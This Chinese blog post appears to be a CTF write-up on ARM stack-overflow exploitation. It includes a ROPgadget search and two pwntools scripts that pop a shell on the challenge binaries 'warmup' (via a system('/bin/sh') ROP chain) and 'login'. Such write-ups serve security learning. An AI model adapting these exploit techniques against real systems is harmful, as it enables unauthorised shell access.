ARM环境下栈溢出攻击初探

题目来自于2016年全国高校网安联赛pwn专场。

参考文献:http://www.freebuf.com/articles/terminal/107276.html

其中有一题warmup的题目,常规思路,使用file命令查看该文件格式,发现是arm下静态文件,之后常规考虑用ROPgadget生成ropchain,放入栈中执行,但是这边有区别,arm是以r0寄存器存放第一个函数参数的。所以我们需要手工构造ropchain,首先去找system函数,虽然该bin文件去符号化了,但是由于存在/bin/sh字符串,跟踪一下就发现了如下函数。

这不就是system函数么。。。

接着用ROPgadget来找一个控制r0寄存器的ropchain就可以了。。如下命令

ROPgadget --binary warmup --only "pop"|grep r0

找到了

0x00020904 : pop {r0, r4, pc}

接着就剩下构造ropchian并执行了,如下脚本。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(log_level="debug")
p = process('./warmup')
p.recvuntil('\n')
p.sendline()
raw_input()
pr0_pr4_ret =0x00020904
bin_sh = 0x6C384
system = 0x110B4
payload = p32(pr0_pr4_ret)+p32(bin_sh)+p32(0)+p32(system)
p.sendline('a'*0x70+payload)
p.interactive()

另一题login,模糊测试一下直接出payload。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
import base64
context(log_level="debug")
p = process('./login')
payload = '\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x61\x86\x18\x5d'
p.recvuntil('Code\n\n')
p.sendline(payload)
raw_input()
p.interactive()

×

你要赏我吃糖果吗?

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
,
隐藏